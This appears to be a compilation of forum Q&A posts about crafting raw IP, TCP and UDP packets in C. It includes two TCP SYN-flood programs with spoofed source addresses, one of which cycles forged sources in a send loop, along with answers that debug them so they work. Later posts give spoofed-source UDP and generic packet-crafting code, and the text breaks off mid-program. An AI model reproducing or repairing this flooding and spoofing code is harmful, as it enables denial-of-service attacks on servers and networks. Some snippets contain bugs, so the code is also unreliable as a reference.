#include<stdlib.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<sys/types.h>
#define P 5000 /* lets flood the port */
unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int
main (void)
{
char ipp[10] = "1.2.3.4";
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
char datagram[4096]; /* this buffer will contain ip header, tcp header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */
sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("192.168.1.12");
memset (datagram, 0, 4096); /* zero out the buffer */
/* we'll now fill in the ip/tcp header values, see above for explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
iph->ip_src.s_addr = inet_addr (ipp);/* SYN's can be blindly spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->source = htons (1234); /* arbitrary port */
tcph->dest = htons (P);
tcph->seq = random ();/* in a SYN packet, the sequence is a random */
tcph->ack_seq = 0;/* number, and the ack sequence is 0 in the 1st packet */
tcph->doff = 0; /* first and only tcp segment */
tcph->syn = 1;
tcph->window = htonl (65535); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
that the kernel knows the header is included in the data, and doesn't
insert its own header into the packet before our data */
{ /* lets do it the ugly way.. */
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
}
int i1=49;
char i2 = 49;
int cc = 0;
int r1;
while (cc<99)
{
ipp[6] = i1;
ipp[7] = i2;
if(i1 == 57)
{
break;
}
if(i2 == 57 )
{ i2 = 48;
i1++;
}
i2++;
cc++;
iph->ip_src.s_addr = inet_addr (ipp);
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->ip_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("error\n");
else
printf ("sent \n");
}
return 0;
}
the code creates a raw socket with proper ip address and the source addrewss is 192.168.1.12...port 5000 ... the problem is that when i try to capture the packets sent using wireshark, it says something like bogus tcp headee length...should be atleast 20 ... how can i correct this error ...
P.S. you can refer link for the code explanation if you find the code lengthy ...
After further reading: change this line
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
to this
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
In the first case tcph would pointer far beyond iph.
char *datagramshould be unsigned char *too.
Related
I'm trying to make a TCP SYN flood between two ubuntu machines (I'm using virtualbox, and i do have ping between the machines).
The error I get is
ERROR setting IP_HDRNICL.
ERROR number:9.
ERROR message:Bad file descriptor.
I guess it's related that I'm using virtualbox machines so how can I make this tcp syn flood to work without setting IP_HDRINCL?
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
strcpy(source_ip , "192.168.56.101");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
//Uncommend the loop if you want to flood :)
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
{
printf ("error\n");
}
//Data send successfully
else
{
printf ("Packet Send \n");
}
//}
return 0;
}
You need to have root in order to use raw socket. I have the exact same error message when I run your programm without root permissions but it is working fine when launched with root permissions.
I am sending TCP SYN packets (with no payload) to a webserver in the same network. I am using sniffex.c
for capturing the packets .
The problem is that after I send a SYN packet, I do not receive the SYN/ACK packet from server.
In sniffex.c:
I have used my LAN IP as the source ip.
I have set the filter as "tcp" .
I am sending to port 80
When i print the fields of the sent packet ,after i capture it using sniffex , all fields are printed correctly, hence i assume that the structure of the sent packet is such that the server can understand it.
When I connect to the webserver using browser, the SYN/ACK is received successfully.
Another related query: how do I set the filter such that I get packets relating to this conversation (b/w my pc and webserver) only
I am using UBUNTU 14.04
EDIT: The c file with which I am trying to send the packet
#define __USE_BSD /* use bsd'ish ip header */
#include <sys/socket.h> /* these headers are for a Linux system, but */
#include <netinet/in.h> /* the names on other systems are easy to guess.. */
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<memory.h>
#include<errno.h>
#include<sys/socket.h>
#include<sys/types.h>
#define P 80 /* lets flood the sendmail port */
unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int
main (void)
{
int s = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
printf("s=%d\n",s); /* open raw socket */
char datagram[4096]; /* this buffer will contain ip header, tcp header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */
sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("xxx.xxx.xxx.xxx");
memset (datagram, 0, 4096); /* zero out the buffer */
/* we'll now fill in the ip/tcp header values, see above for explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
iph->ip_src.s_addr = inet_addr ("xxx.xxx.xxx.xxx");/* SYN's can be blindly spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (2000); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random();/* in a SYN packet, the sequence is a random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
tcph->th_x2 = 5;
tcph->th_off = 5; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
that the kernel knows the header is included in the data, and doesn't
insert its own header into the packet before our data */
/* lets do it the ugly way.. */
int one = 1;
// const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\terrno = %d\n",errno);
// while (1)
// {
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->ip_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("error\n");
else
printf ("SUCCESS\n\n\n\n");
//}
char buffer[8192];
memset (buffer, 0, 8192);
int n;
//while(n=read (s, buffer, 8192) > 0)
//{
//printf("n=%d\n",n);
//printf ("Caught tcp packet: %s\n", buffer);
//memset (buffer, 0, 8192);
//}
return 0;
}
[Summary of chat session]
In addition to the iph->ip_off issue, you may need to compute the TCP checksum yourself (your O/S may not do it for you). Useful info is here: http://www.tcpipguide.com/free/t_TCPChecksumCalculationandtheTCPPseudoHeader-2.htm and http://www.netfor2.com/tcpsum.htm
Also tcph->th_seq = htonl(23456); may be useful.
My application is a specialized user space UDP router that uses raw sockets to produce unicast and multicast output with actual or spoofed source addresses in the IP packet headers of the sent packets.
Briefly, there is one permutation of the outputs that fails to reach some of the destination hosts.
My question: is there some subtle logic in the Linux stack that prevents certain routing permutations, or is the output function I am using missing something?
I can't create a UDP packet writer that successfully sends packets that (1) contain a spoofed source address, (2) to a multicast address, (3) if sending host is on subnet A, (4) receiving host is on subnet B, if the (valid) spoofed source address is on subnet A.
Subnet A = 10.200.xx.nn
Subnet B = 10.200.yy.nn
Source address in packet = sending host
Subnet
Src addr = sender addr A A B B
Receiver A B A B
Result Yes Yes Yes Yes
Source address in packet != sending host
Subnet
Sender A A A A B B B B
Spoofed src addr A A B B A A B B
Receiver A B A B A B A B
Result Yes Yes Yes No No Yes Yes Yes
The spoof addresses are to existing network devices.
Wireshark run on the failing destinations shows no UDP data.
My raw socket class is derived very closely from the example program I found at Stack Overflow kindly donated by user Peter O. on March 11, 2012 - question 3737612 "Raw socket sendto failed using C on Linux". I have appended my version of it, with a
couple of enhancements/fixes. I compiled and ran it on RedHat 5, gcc 4.1.2.
I checked /etc/sysctl.conf entries that might be relevant, and set the following with no discernable effect:
sudo /sbin/sysctl -w net.ipv4.conf.default.rp_filter=0
sudo /sbin/sysctl -w net.ipv4.conf.eth2.rp_filter=0
sudo /sbin/sysctl -w net.ipv4.conf.lo.rp_filter=0
sudo /sbin/sysctl -w net.ipv4.conf.all.rp_filter=0
sudo /sbin/sysctl -w net.ipv4.ip_forward=1
sudo /sbin/sysctl -w net.ipv4.conf.default.accept_source_route=1
sudo /sbin/sysctl -w net.ipv4.conf.all.accept_source_route=1
My modified version of the example from 3737612 is appended.
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <time.h>
//The packet length in byes
#define PCKT_LEN 50
//Date size in bytes
#define DATA_SIZE 15
//PseudoHeader struct used to calculate UDP checksum.
typedef struct PseudoHeader{
unsigned long int source_ip;
unsigned long int dest_ip;
unsigned char reserved;
unsigned char protocol;
unsigned short int udp_length;
}PseudoHeader;
// Ripped from Richard Stevans Book
unsigned short ComputeChecksum(unsigned char *data, int len)
{
long sum = 0; /* assume 32 bit long, 16 bit short */
unsigned short *temp = (unsigned short *)data;
while(len > 1){
sum += *temp++;
if(sum & 0x80000000) /* if high order bit set, fold */
sum = (sum & 0xFFFF) + (sum >> 16);
len -= 2;
}
if(len) /* take care of left over byte */
sum += (unsigned short) *((unsigned char *)temp);
while(sum>>16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ~sum;
}
int BindRawSocketToInterface(int rawsock, char *addr, short int port)
{
struct sockaddr_in s_addr;
s_addr.sin_family = AF_INET;
s_addr.sin_addr.s_addr = inet_addr(addr);
s_addr.sin_port = htons(port);
if((bind(rawsock, (struct sockaddr *)&s_addr, sizeof(s_addr)))== -1)
{
perror("Error binding raw socket to interface\n");
exit(-1);
}
return 1;
}
// Fabricate the IP header or we can use the
// standard header structures but assign our own values.
struct ip *CreateIPHeader(char *srcip, char *destip)
{
struct ip *ip_header;
ip_header = (struct ip *)malloc(sizeof(struct ip));
ip_header->ip_v = 4;
ip_header->ip_hl = 5;
ip_header->ip_tos = 0;
ip_header->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE);
ip_header->ip_id = htons(111);
ip_header->ip_off = 0;
ip_header->ip_ttl = 111;
ip_header->ip_p = IPPROTO_UDP;
ip_header->ip_sum = 0; /* We will calculate the checksum later */
inet_pton(AF_INET, srcip, &ip_header->ip_src);
inet_pton(AF_INET, destip, &ip_header->ip_dst);
/* Calculate the IP checksum now :
The IP Checksum is only over the IP header */
ip_header->ip_sum = ComputeChecksum((unsigned char *)ip_header, ip_header->ip_hl*4);
return (ip_header);
}
// Creates a the UDP header.
struct udphdr *CreateUdpHeader(char *srcport, char *destport )
{
struct udphdr *udp_header;
/* Check netinet/udp.h for header definiation */
udp_header = (struct udphdr *)malloc(sizeof(struct udphdr));
udp_header->source = htons(atoi(srcport));
udp_header->dest = htons(atoi(destport));
udp_header->len = htons(sizeof(struct udphdr) + DATA_SIZE); //TODO: need to specify this
udp_header->check = htons(0);
return (udp_header);
}
void CreatePseudoHeaderAndComputeUdpChecksum(struct udphdr *udp_header, struct ip *ip_header, unsigned char *data)
{
/*The TCP Checksum is calculated over the PseudoHeader + TCP header +Data*/
/* Find the size of the TCP Header + Data */
int segment_len = ntohs(ip_header->ip_len) - ip_header->ip_hl*4;
/* Total length over which TCP checksum will be computed */
int header_len = sizeof(PseudoHeader) + segment_len;
/* Allocate the memory */
unsigned char *hdr = (unsigned char *)malloc(header_len);
/* Fill in the pseudo header first */
PseudoHeader *pseudo_header = (PseudoHeader *)hdr;
pseudo_header->source_ip = ip_header->ip_src.s_addr;
pseudo_header->dest_ip = ip_header->ip_dst.s_addr;
pseudo_header->reserved = 0;
pseudo_header->protocol = ip_header->ip_p;
pseudo_header->udp_length = htons(segment_len);
/* Now copy TCP */
memcpy((hdr + sizeof(PseudoHeader)), (void *)udp_header, 8);
/* Now copy the Data */
memcpy((hdr + sizeof(PseudoHeader) + 8), data, DATA_SIZE);
/* Calculate the Checksum */
udp_header->check = ComputeChecksum(hdr, header_len);
/* Free the PseudoHeader */
free(hdr);
}
// Source IP, source port, target IP, target port from the command line arguments
int main(int argc, char *argv[])
{
int sd, ix;
char buffer[PCKT_LEN];
char data[DATA_SIZE];
int one = 1;
char interface[100];
struct ifreq ifr;
time_t the_time;
// Source and destination addresses: IP and port
struct sockaddr_in to_addr;
const int *val = &one;
printf("IP Header Size: %u \n", sizeof(struct ip));
printf("UDP Header Size: %u \n", sizeof(struct udphdr));
printf("Data Size: %d\n", DATA_SIZE);
printf("IP Total: %u \n", sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE);
memset(buffer, 0, PCKT_LEN);
if(argc != 5 && argc != 6)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port> [interface]\n", argv[0]);
exit(-1);
}
if (argc == 6)
strcpy(interface, argv[5]);
else
strcpy(interface, "eth0");
printf("Interface: %s\n", interface);
// bind() fails in BindRawSocketToInterface() above if it is passed a source address that
// is not the actual host sending (i.e. spoofing): "Cannot assign requested address"
#if 0
// Create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");
//Bind the socket to the source address and port.
BindRawSocketToInterface(sd, argv[1], atoi(argv[2]));
#else
sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(sd < 0)
{
perror("socket() error");
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and RAW protocol is OK.\n");
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr))
{
perror("ioctl() error ");
exit(-1);
}
if (setsockopt (sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0)
{
perror("setsockopt() error (#2)");
exit(-1);
}
#endif
// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(int)) < 0)
{
perror("setsockopt() error");
close(sd);
exit(-1);
}
else
printf("setsockopt() is OK.\n");
// The source is redundant, may be used later if needed
// The address family
to_addr.sin_family = AF_INET;
to_addr.sin_addr.s_addr = inet_addr(argv[3]);
to_addr.sin_port = htons(atoi(argv[4]));
//Create the IP header.
struct ip *ip_header = CreateIPHeader(argv[1], argv[3]);
//Create the UDP header.
struct udphdr *udp_header = CreateUdpHeader(argv[2], argv[4]);
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
// include a timestamp
memset(data, ' ', sizeof(data));
the_time = htonl(time(NULL));
memcpy(data, &the_time, sizeof(the_time));
//Compute UDP checksum
CreatePseudoHeaderAndComputeUdpChecksum(udp_header, ip_header, (unsigned char*)data);
for (ix = 0; ix < 1000000; ++ix)
{
//Copy IP header, UDP header, and data to the packet buffer.
memcpy(buffer, ip_header, sizeof(struct ip));
memcpy(buffer + sizeof(struct ip), udp_header, 8 /*sizeof(struct udphdr)*/);
memcpy(buffer + sizeof(struct ip) + 8, data, DATA_SIZE);
// length must include header sizes
#if 0
if(sendto(sd, buffer, 20/*ip_header->ip_len*/, 0, (struct sockaddr *)&to_addr, sizeof(to_addr)) < 0)
#else
if(sendto(sd, buffer, sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE, 0,
(struct sockaddr *)&to_addr, sizeof(to_addr)) < 0)
#endif
{
perror("sendto() error");
break;
}
else
{
printf("sendto() is OK.\n");
}
sleep(1);
} // loop
free(ip_header);
free(udp_header);
close(sd);
return 0;
}
I want to know how to generate a packet in c. Supposed we have a type as follows:
struct ipheader {
int version;
int hdLen;
int tos;
int totLen;
int id;
......
int dstIp;
}
And we have a ipheader type:
struct ipheader ip;
//init the ip
.....
How can I generate a packet(just ip header part) from "ip". Could anyone show me how?
I want to know to generate packets with information such as mac address, ip header, tcp header, payload. Then I can use the "pcap_sendpacket" function to send the packets I have generated. Could someone give me a little example.
You can create custom ip packet as below. The below code snippet also makes the custom TCP part which is inside the ip packet. Also the custom function checksum generates the checksum for the packet. You can use rawsocket to send this packet directly to the network. I think the code is easy and self explanatory. Let me know if you have any queries.
#include <netinet/ip.h>
#include <netinet/tcp.h>
****************************************
ipv4 packet structure
****************************************
struct ipv4_packet {
struct iphdr iph;
struct tcphdr tcph;
void *data;
};
****************************************
snippet of the IPV4 packet making code
****************************************
struct iphdr ip_head;
struct tcphdr tcp_head;
struct sockaddr_in target;
char packet[2048];
int i;
struct tcp_pseudo /*the tcp pseudo header*/
{
__u32 src_addr;
__u32 dst_addr;
__u8 dummy;
__u8 proto;
__u16 length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 0;
ip_head.tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + len);
ip_head.id = htons(31337 + (rand() % 100));
ip_head.frag_off = 0;
ip_head.ttl = 255;
ip_head.protocol = IPPROTO_TCP;
ip_head.check = 0; /*Fill in later*/
ip_head.saddr = htonl(src);
ip_head.daddr = htonl(dst);
ip_head.check = in_cksum((unsigned short *) &ip_head, sizeof(struct iphdr));
/*Prepare TCP header*/
tcp_head.source = htons(src_p);
tcp_head.dest = htons(dst_p);
tcp_head.seq = htonl(seq);
tcp_head.ack_seq = htonl(ack);
tcp_head.doff = 5;
/* set or reset ack, fin or syn flags as needed */
tcp_head.ack = 0;
tcp_head.syn = 0;
tcp_head.fin = 0;
tcp_head.res1 = 0;
tcp_head.urg = 0;
tcp_head.psh = 0;
tcp_head.rst = 0;
tcp_head.res2 = 0;
tcp_head.window = htons(0x7c00);
tcp_head.check = 0; /*Fill in later*/
tcp_head.urg_ptr = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr = ip_head.saddr;
pseudohead.dst_addr = ip_head.daddr;
pseudohead.dummy = 0;
pseudohead.proto = ip_head.protocol;
pseudohead.length = htons(sizeof(struct tcphdr) + len);
tcp_chk_construct.pshd = pseudohead;
tcp_chk_construct.tcphd = tcp_head;
memcpy(tcp_chk_construct.tcpdata, buffer, len);
tcp_head.check = in_cksum((unsigned short *) &tcp_chk_construct,
sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + len);
/*Assemble packet*/
memcpy(packet, (char *) &ip_head, sizeof(ip_head));
memcpy(packet + sizeof(ip_head), (char *) &tcp_head, sizeof(tcp_head));
memcpy(packet + sizeof(ip_head) + sizeof(tcp_head), buffer, len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr = ip_head.daddr;
target.sin_port = tcp_head.dest;
i = sendto(sfd, packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + len,
0, (struct sockaddr *) &target, sizeof(struct sockaddr_in));
if (i < 0)
return (-1); /*Error*/
else
return (i); /*Return number of bytes sent*/
****************************************
FUNCTION FOR CHECKSUM
****************************************
/* function to calculate the checksum for the packet */
unsigned short in_cksum(unsigned short *ptr, int nbytes) {
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* the algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}
Since you haven't specified the details (looks suspiciously like homework to me as well), all i can do is give pointers.
Look up how structures are formed in the memory.
Look up Ip header format which will show you what member is where in an Ip header.
Look up Raw sockets.
So, provided you properly structure your struct and use raw sockets, you only need to write this struct to the socket.
I'm trying to send a raw packet using UDP, with the IP and UDP headers that I have constructed in my code. Raw packet successfully initialized with socket(PF_INET, SOCK_RAW, IPPROTO_UDP) and socket option set using setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(int)).
The problem is when I send the packet using sendto(), I get the error 'Message too long'.
My IP header is 20 bytes and UDP header 8 bytes and my data is 12 bytes. So the total is only 40 bytes. This can't possibly be too long for a single UDP packet. Can someone help?
The type of val is a pointer to an int
Here is my code:
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
//The packet length in byes
#define PCKT_LEN 50
//Date size in bytes
#define DATA_SIZE 12
//PseudoHeader struct used to calculate UDP checksum.
typedef struct PseudoHeader{
unsigned long int source_ip;
unsigned long int dest_ip;
unsigned char reserved;
unsigned char protocol;
unsigned short int udp_length;
}PseudoHeader;
// Ripped from Richard Stevans Book
unsigned short ComputeChecksum(unsigned char *data, int len)
{
long sum = 0; /* assume 32 bit long, 16 bit short */
unsigned short *temp = (unsigned short *)data;
while(len > 1){
sum += *temp++;
if(sum & 0x80000000) /* if high order bit set, fold */
sum = (sum & 0xFFFF) + (sum >> 16);
len -= 2;
}
if(len) /* take care of left over byte */
sum += (unsigned short) *((unsigned char *)temp);
while(sum>>16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ~sum;
}
int BindRawSocketToInterface(int rawsock, char *addr, short int port)
{
struct sockaddr_in s_addr;
s_addr.sin_family = AF_INET;
s_addr.sin_addr.s_addr = inet_addr(addr);
s_addr.sin_port = htons(port);
if((bind(rawsock, (struct sockaddr *)&s_addr, sizeof(s_addr)))== -1)
{
perror("Error binding raw socket to interface\n");
exit(-1);
}
return 1;
}
// Fabricate the IP header or we can use the
// standard header structures but assign our own values.
struct ip *CreateIPHeader(char *srcip, char *destip)
{
struct ip *ip_header;
ip_header = (struct ip *)malloc(sizeof(struct ip));
ip_header->ip_v = 4;
ip_header->ip_hl = 5;
ip_header->ip_tos = 0;
ip_header->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE);
ip_header->ip_id = htons(111);
ip_header->ip_off = 0;
ip_header->ip_ttl = 111;
ip_header->ip_p = IPPROTO_TCP;
ip_header->ip_sum = 0; /* We will calculate the checksum later */
inet_pton(AF_INET, srcip, &ip_header->ip_src);
inet_pton(AF_INET, destip, &ip_header->ip_dst);
/* Calculate the IP checksum now :
The IP Checksum is only over the IP header */
ip_header->ip_sum = ComputeChecksum((unsigned char *)ip_header, ip_header->ip_hl*4);
return (ip_header);
}
// Creates a the UDP header.
struct udphdr *CreateUdpHeader(char *srcport, char *destport )
{
struct udphdr *udp_header;
/* Check netinet/udp.h for header definiation */
udp_header = (struct udphdr *)malloc(sizeof(struct udphdr));
udp_header->source = htons(atoi(srcport));
udp_header->dest = htons(atoi(destport));
udp_header->len = htons(sizeof(struct udphdr) + DATA_SIZE); //TODO: need to specify this
udp_header->check = htons(0);
return (udp_header);
}
void CreatePseudoHeaderAndComputeUdpChecksum(struct udphdr *udp_header, struct ip *ip_header, unsigned char *data)
{
/*The TCP Checksum is calculated over the PseudoHeader + TCP header +Data*/
/* Find the size of the TCP Header + Data */
int segment_len = ntohs(ip_header->ip_len) - ip_header->ip_hl*4;
/* Total length over which TCP checksum will be computed */
int header_len = sizeof(PseudoHeader) + segment_len;
/* Allocate the memory */
unsigned char *hdr = (unsigned char *)malloc(header_len);
/* Fill in the pseudo header first */
PseudoHeader *pseudo_header = (PseudoHeader *)hdr;
pseudo_header->source_ip = ip_header->ip_src.s_addr;
pseudo_header->dest_ip = ip_header->ip_dst.s_addr;
pseudo_header->reserved = 0;
pseudo_header->protocol = ip_header->ip_p;
pseudo_header->udp_length = htons(segment_len);
/* Now copy TCP */
memcpy((hdr + sizeof(PseudoHeader)), (void *)udp_header, 8);
/* Now copy the Data */
memcpy((hdr + sizeof(PseudoHeader) + 8), data, DATA_SIZE);
/* Calculate the Checksum */
udp_header->check = ComputeChecksum(hdr, header_len);
/* Free the PseudoHeader */
free(hdr);
}
// Source IP, source port, target IP, target port from the command line arguments
int main(int argc, char *argv[])
{
int sd;
char buffer[PCKT_LEN];
char *data = "Hello World!";
// Source and destination addresses: IP and port
struct sockaddr_in to_addr;
int one = 1;
